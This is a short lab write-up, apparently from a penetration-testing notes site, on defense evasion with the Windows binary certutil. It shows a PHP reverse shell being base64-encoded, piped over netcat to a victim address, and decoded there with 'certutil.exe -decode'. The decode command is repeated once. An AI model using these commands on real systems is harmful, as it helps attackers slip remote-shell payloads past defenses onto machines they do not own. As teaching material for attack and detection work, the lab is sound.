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Encode/Decode Data with Certutil
Defense Evasion
In this lab I will transfer a base64 encoded php reverse shell from my attacking machine to the victim machine via netcat and decode the data on the victim system using a native windows binary
certutil.Preview of the content to be encoded on the attacking system:
Sending the above shell as a base64 encoded string to the victim system (victim is listening and waiting for the file with
nc -l 4444 > enc):attacker@local
base64 < shell.php.gif | nc 10.0.0.2 4444
Once the file is received on the victim, let's check its contents:
attacker@victim
certutil.exe -decode .\enc dec
Let's decode the data:
attacker@victim
certutil.exe -decode .\enc dec
Let's have a look at the contents of the file
dec which now contains the base64 decoded shell:
Last modified 5yr ago